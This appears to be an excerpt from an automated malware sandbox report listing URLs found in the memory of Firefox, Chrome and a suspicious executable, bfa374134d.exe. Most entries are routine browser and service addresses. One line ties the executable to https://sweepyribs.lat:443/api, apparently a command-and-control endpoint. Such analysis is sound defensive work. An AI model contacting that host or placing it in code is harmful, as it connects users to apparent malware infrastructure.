Source: firefox.exe, 0000001A.00000002.2166905315.0000025CE637C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2184596233.0000025CE8800000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.2146249874.000001F772330000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2160943827.00000202E0090000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://profiler.firefox.com
Source: firefox.exe, 0000001A.00000002.2160798255.0000025CE5926000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://profiler.firefox.com/
Source: firefox.exe, 0000001A.00000002.2166905315.0000025CE637C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://profiler.firefox.com/backgroundtasks/BackgroundTask_backgroundTaskMinRuntimeMSDEVTOOLS_POLIC
Source: firefox.exe, 0000001A.00000002.2166905315.0000025CE6373000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2166905315.0000025CE6379000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://redux.js.org/api-reference/store#subscribe(listener)
Source: firefox.exe, 0000001A.00000003.2055776363.0000025CEC92A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://safebrowsing.google.com/safebrowsing/downloads?client=SAFEBROWSING_ID&appver=118.0&pver=2.2&
Source: firefox.exe, 0000001A.00000002.2214368126.0000025CEA976000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.2055776363.0000025CEC92A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://safebrowsing.googleapis.com/v4/fullHashes:find?$ct=application/x-protobuf&key=AIzaSyC7jsptDS
Source: firefox.exe, 0000001A.00000002.2214368126.0000025CEA97C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.2055776363.0000025CEC92A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://safebrowsing.googleapis.com/v4/threatListUpdates:fetch?$ct=application/x-protobuf&key=AIzaSy
Source: firefox.exe, 0000001A.00000002.2169874877.0000025CE6F25000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2166905315.0000025CE6303000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2162261594.0000025CE5AB2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://screenshots.firefox.com
Source: firefox.exe, 0000001A.00000003.1941505672.0000025CE9E5A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2193309231.0000025CE9D03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2193309231.0000025CE9D6A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.1940699460.0000025CE9C00000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.1941709187.0000025CE9E77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://screenshots.firefox.com/
Source: firefox.exe, 0000001A.00000002.2214368126.0000025CEA91B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://screenshots.firefox.com/bound
Source: firefox.exe, 0000001A.00000002.2166905315.0000025CE637C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://screenshots.firefox.com/shims/google-publisher-tags.js
Source: firefox.exe, 0000001A.00000002.2166905315.0000025CE637C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://screenshots.firefox.com/shims/google-publisher-tags.jspersist/
Source: firefox.exe, 0000001A.00000002.2166905315.0000025CE6303000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://screenshots.firefox.combrowser.migration.versionnetwork.proxy.backup.socks_portaccount-conne
Source: firefox.exe, 0000001A.00000002.2230488431.0000025CEB503000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://searchfox.org/mozilla-central/source/toolkit/components/search/SearchUtils.jsm#145-152
Source: firefox.exe, 0000001A.00000002.2214368126.0000025CEA976000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2204025127.0000025CEA603000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://services.addons.mozilla.org/api/v4/addons/addon
Source: firefox.exe, 0000001A.00000002.2214368126.0000025CEA976000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://services.addons.mozilla.org/api/v4/addons/addonFailed
Source: firefox.exe, 0000001A.00000002.2200878652.0000025CEA33B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2214368126.0000025CEA97E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://shavar.services.mozilla.com/downloads?client=navclient-auto-ffox&appver=118.0&pver=2.2
Source: firefox.exe, 0000001A.00000002.2166905315.0000025CE6303000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://shavar.services.mozilla.com/downloads?client=navclient-auto-ffox&appver=118.0&pver=2.2When
Source: firefox.exe, 0000001A.00000002.2166905315.0000025CE6303000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2214368126.0000025CEA97E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://shavar.services.mozilla.com/gethash?client=navclient-auto-ffox&appver=118.0&pver=2.2
Source: firefox.exe, 0000001A.00000002.2214368126.0000025CEA95B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://smartblock.firefox.etp/facebook.svg
Source: firefox.exe, 0000001A.00000002.2214368126.0000025CEA95B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://smartblock.firefox.etp/play.svg
Source: firefox.exe, 0000001A.00000003.2034827726.0000025CF2AA6000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.2006426767.0000025CEDA9B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2169874877.0000025CE6F03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2186945883.0000025CE996B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.2144651879.00000202DFA12000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://spocs.getpocket.com/
Source: firefox.exe, 0000001A.00000002.2214368126.0000025CEA91B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://spocs.getpocket.com/Routed
Source: firefox.exe, 0000001A.00000003.1997476199.0000025CF248B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2214368126.0000025CEA91B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.2036020671.0000025CEDAF0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2169874877.0000025CE6F03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2186945883.0000025CE996B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://spocs.getpocket.com/spocs
Source: firefox.exe, 0000001A.00000002.2214368126.0000025CEA95B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2166905315.0000025CE63E0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://spocs.getpocket.com/spocs:
Source: firefox.exe, 0000001A.00000003.2006426767.0000025CEDAC1000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2214368126.0000025CEA91B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.2006426767.0000025CEDA9B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2169874877.0000025CE6F03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2186945883.0000025CE996B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.2144651879.00000202DFAC5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://spocs.getpocket.com/user
Source: firefox.exe, 0000001A.00000002.2214368126.0000025CEA91B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://spocs.getpocket.com/userabout:preferences
Source: firefox.exe, 0000001A.00000002.2166905315.0000025CE6303000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2214368126.0000025CEA95B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2209918604.0000025CEA88C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2232790648.0000025CEBA70000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2214368126.0000025CEA910000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://static.adsafeprotected.com/firefox-etp-js
Source: firefox.exe, 0000001A.00000002.2166905315.0000025CE6303000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://static.adsafeprotected.com/firefox-etp-jsresource:///modules/sessionstore/SessionFile.sys.mj
Source: firefox.exe, 0000001A.00000002.2166905315.0000025CE6303000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2214368126.0000025CEA95B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2209918604.0000025CEA88C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2215757021.0000025CEAA21000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2232790648.0000025CEBA70000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2214368126.0000025CEA910000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2214368126.0000025CEA903000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2215757021.0000025CEAA5D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2214368126.0000025CEA906000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://static.adsafeprotected.com/firefox-etp-pixel
Source: firefox.exe, 0000001A.00000002.2166905315.0000025CE6303000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://static.adsafeprotected.com/firefox-etp-pixelresource://gre/modules/PrivateBrowsingUtils.sys.
Source: firefox.exe, 0000001A.00000002.2169874877.0000025CE6F25000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2166905315.0000025CE6303000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2222268008.0000025CEB29E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2162261594.0000025CE5AB2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org
Source: firefox.exe, 0000001A.00000002.2166905315.0000025CE637C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/switching-devices?utm_source=panel-def
Source: firefox.exe, 0000001A.00000002.2166905315.0000025CE637C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/switching-devices?utm_source=spotlight
Source: firefox.exe, 0000001A.00000002.2222268008.0000025CEB26A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/118.0.1/WINNT/en-US/
Source: firefox.exe, 0000001A.00000002.2229487864.0000025CEB442000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: firefox.exe, 0000001A.00000002.2214368126.0000025CEA91B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/firefox-crashes-troubleshoot-prevent-and-get-helpchrome://browser/con
Source: firefox.exe, 0000001A.00000002.2197566384.0000025CEA030000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/fix-video-audio-problems-firefox-windowsThe
Source: firefox.exe, 0000001A.00000002.2197566384.0000025CEA030000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/fix-video-audio-problems-firefox-windowsUse
Source: firefox.exe, 0000001A.00000002.2214368126.0000025CEA91B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/refresh-firefox-reset-add-ons-and-settings
Source: firefox.exe, 0000001A.00000002.2214368126.0000025CEA91B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/refresh-firefox-reset-add-ons-and-settingschecking
Source: firefox.exe, 0000001A.00000002.2214368126.0000025CEA91B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/warning-unresponsive-script#w_other-causes
Source: bfa374134d.exe, 0000000F.00000003.2128995758.0000000005B9D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.all
Source: firefox.exe, 0000001A.00000002.2229487864.0000025CEB442000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.allizom.troppus.njy8xaI_aUJp
Source: firefox.exe, 0000001A.00000002.2166905315.0000025CE6303000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.orgpictureinpicture.settingspictureinpicture.toggle_enabled_migrateXULStoreF
Source: bfa374134d.exe, 0000000F.00000003.2008776653.000000000106A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://sweepyribs.lat:443/api
Source: firefox.exe, 0000001A.00000002.2197566384.0000025CEA030000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://tools.ietf.org/html/draft-ietf-httpbis-encryption-encoding-02#section-2
Source: firefox.exe, 0000001A.00000002.2197566384.0000025CEA030000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://tools.ietf.org/html/draft-ietf-httpbis-encryption-encoding-02#section-3.1
Source: firefox.exe, 0000001A.00000002.2197566384.0000025CEA030000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://tools.ietf.org/html/draft-ietf-httpbis-encryption-encoding-02#section-4
Source: firefox.exe, 0000001A.00000002.2197566384.0000025CEA030000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://tools.ietf.org/html/rfc7515#appendix-C)
Source: firefox.exe, 0000001A.00000002.2169874877.0000025CE6F25000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2166905315.0000025CE6303000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2186945883.0000025CE99F5000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2162261594.0000025CE5AB2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://truecolors.firefox.com
Source: firefox.exe, 0000001A.00000002.2232790648.0000025CEBA70000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.1996814961.0000025CF29B0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.2019209448.0000025CF29B0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2207522391.0000025CEA746000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2169874877.0000025CE6F03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2186945883.0000025CE996B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://twitter.com/
Source: firefox.exe, 0000001A.00000002.2166905315.0000025CE6324000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://webpack.js.org/concepts/mode/)
Source: firefox.exe, 0000001A.00000003.1984384764.0000025CF2551000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.2126268179.0000025CF2542000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://wicg.github.io/construct-stylesheets/#using-constructed-stylesheets).
Source: firefox.exe, 0000001A.00000002.2214368126.0000025CEA91B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.1996814961.0000025CF29B0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.2019209448.0000025CF29B0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2166905315.0000025CE63E0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.aliexpress.com/
Source: firefox.exe, 0000001A.00000002.2214368126.0000025CEA91B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.1996814961.0000025CF29B0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.2019209448.0000025CF29B0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.co.uk/
Source: firefox.exe, 0000001A.00000002.2232790648.0000025CEBA70000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.1996814961.0000025CF29B0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.2019209448.0000025CF29B0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2207522391.0000025CEA746000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2200878652.0000025CEA3E8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.com/
Source: bfa374134d.exe, 00000007.00000003.1807569563.00000000058ED000.00000004.00000800.00020000.00000000.sdmp, bfa374134d.exe, 0000000F.00000003.2175817586.00000000058F4000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2186945883.0000025CE99CE000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2169874877.0000025CE6F25000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2160798255.0000025CE59AD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2186945883.0000025CE996B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2147404002.000001F7725B7000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.2144651879.00000202DFAE9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_15e498ec2b39921665a1fbc954bff40a8106629178eadc64
Source: firefox.exe, 0000001A.00000002.2166905315.0000025CE6324000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.1941505672.0000025CE9E5A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2214368126.0000025CEA98E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.1940699460.0000025CE9C00000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.1941709187.0000025CE9E77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.com/exec/obidos/external-search/
Source: firefox.exe, 0000001A.00000002.2200878652.0000025CEA33B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2186945883.0000025CE990D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.com/exec/obidos/external-search/?field-keywords=&ie=UTF-8&mode=blended&tag=mozill
Source: firefox.exe, 0000001A.00000002.2166905315.0000025CE637C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.com/exec/obidos/external-search/extension/pictureinpicture
Source: firefox.exe, 0000001A.00000003.1996814961.0000025CF29B0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.2019209448.0000025CF29B0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2166905315.0000025CE63E0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ctrip.com/
Source: firefox.exe, 0000001A.00000003.1996814961.0000025CF29B0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.2019209448.0000025CF29B0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ebay.co.uk/
Source: bfa374134d.exe, 00000007.00000003.1752715813.00000000058AC000.00000004.00000800.00020000.00000000.sdmp, bfa374134d.exe, 00000007.00000003.1753074415.00000000058A9000.00000004.00000800.00020000.00000000.sdmp, bfa374134d.exe, 00000007.00000003.1752862089.00000000058A9000.00000004.00000800.00020000.00000000.sdmp, bfa374134d.exe, 0000000F.00000003.2012567376.00000000058AB000.00000004.00000800.00020000.00000000.sdmp, bfa374134d.exe, 0000000F.00000003.2015792487.00000000058A8000.00000004.00000800.00020000.00000000.sdmp, bfa374134d.exe, 0000000F.00000003.2013786257.00000000058A8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/newtab/
Source: firefox.exe, 0000001A.00000003.2034827726.0000025CF2AA6000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.1996814961.0000025CF29B0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.2019209448.0000025CF29B0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000020.00000003.2077478169.00004C48004C0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000020.00000003.2075261060.00004C4800CE4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000020.00000003.2086438399.00004C4800CE4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000020.00000003.2076962388.00004C4800CAC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/
Source: firefox.exe, 0000001A.00000003.1993336176.0000025CF2746000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2166905315.0000025CE63E0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/complete/search
Source: firefox.exe, 0000001A.00000002.2166905315.0000025CE637C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.1941020374.0000025CE9E1F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2179326040.0000025CE78A0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000003.1941270816.0000025CE9E3C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.1941505672.0000025CE9E5A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.1940699460.0000025CE9C00000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.1941709187.0000025CE9E77000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2204025127.0000025CEA66E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/complete/search?client=firefox&q=
Source: bfa374134d.exe, 00000007.00000003.1752715813.00000000058AC000.00000004.00000800.00020000.00000000.sdmp, bfa374134d.exe, 00000007.00000003.1753074415.00000000058A9000.00000004.00000800.00020000.00000000.sdmp, bfa374134d.exe, 00000007.00000003.1752862089.00000000058A9000.00000004.00000800.00020000.00000000.sdmp, bfa374134d.exe, 0000000F.00000003.2012567376.00000000058AB000.00000004.00000800.00020000.00000000.sdmp, bfa374134d.exe, 0000000F.00000003.2015792487.00000000058A8000.00000004.00000800.00020000.00000000.sdmp, bfa374134d.exe, 0000000F.00000003.2013786257.00000000058A8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: firefox.exe, 0000001A.00000002.2166905315.0000025CE6303000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/policies/privacy/
Source: firefox.exe, 0000001A.00000002.2214368126.0000025CEA97E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.1941505672.0000025CE9E5A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.1940699460.0000025CE9C00000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.1941709187.0000025CE9E77000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2166905315.0000025CE63E0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/search
Source: firefox.exe, 0000001A.00000003.2034827726.0000025CF2AA6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/search?client=firefox-b-d&q=
Source: firefox.exe, 0000001A.00000002.2166905315.0000025CE637C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/searchgetElementForAttrInheritance
Source: firefox.exe, 0000001A.00000002.2214368126.0000025CEA97E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.hulu.com/watch/
Source: firefox.exe, 0000001A.00000002.2214368126.0000025CEA97E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.instagram.com/
Source: firefox.exe, 0000001A.00000002.2214368126.0000025CEA91B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.1996814961.0000025CF29B0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.2019209448.0000025CF29B0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.leboncoin.fr/
Source: bfa374134d.exe, 00000007.00000003.1807569563.00000000058ED000.00000004.00000800.00020000.00000000.sdmp, bfa374134d.exe, 0000000F.00000003.2175126394.00000000058F7000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2186945883.0000025CE99CE000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2169874877.0000025CE6F25000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2160798255.0000025CE59AD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2186945883.0000025CE996B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2147404002.000001F7725B7000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.2144651879.00000202DFAE9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.marriott.com/default.mi?utm_source=admarketplace&utm_medium=cpc&utm_campaign=Marriott_Pr
Source: firefox.exe, 0000001A.00000002.2165302441.0000025CE62AA000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2169874877.0000025CE6F25000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2222268008.0000025CEB20F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2222268008.0000025CEB29E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2222268008.0000025CEB20D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2141287470.000000D404F3B000.00000004.00000010.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2222268008.0000025CEB203000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.2006426767.0000025CEDA8D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2165302441.0000025CE6205000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org
Source: firefox.exe, 0000001A.00000002.2204025127.0000025CEA68E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/
Source: firefox.exe, 0000001A.00000002.2229487864.0000025CEB442000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.d-GHL1OW1fkT
Source: firefox.exe, 0000001A.00000002.2214368126.0000025CEA95B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.2024475946.0000025CEB326000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.2023176069.0000025CEB1C5000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.2024603933.0000025CEB1D3000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.2021481914.0000025CEB1C4000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.2025428789.0000025CEB32E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/about/legal/terms/mozilla/
Source: firefox.exe, 0000001A.00000002.2229487864.0000025CEB442000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.sYEKgG4Or0s6
Source: bfa374134d.exe, 00000007.00000003.1805995991.0000000005997000.00000004.00000800.00020000.00000000.sdmp, bfa374134d.exe, 0000000F.00000003.2128995758.0000000005B9D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2229487864.0000025CEB442000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2204025127.0000025CEA676000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/Firefox
Source: firefox.exe, 0000001A.00000002.2229487864.0000025CEB442000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: firefox.exe, 0000001A.00000002.2214368126.0000025CEA95B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/mobile/get-app/?utm_medium=firefox-desktop&utm_source=onboarding-mod
Source: firefox.exe, 0000001A.00000002.2214368126.0000025CEA91B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/new/
Source: firefox.exe, 0000001A.00000002.2214368126.0000025CEA91B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/new/resource:///modules/UrlbarResult.sys.mjsquickSuggestRemoteSettin
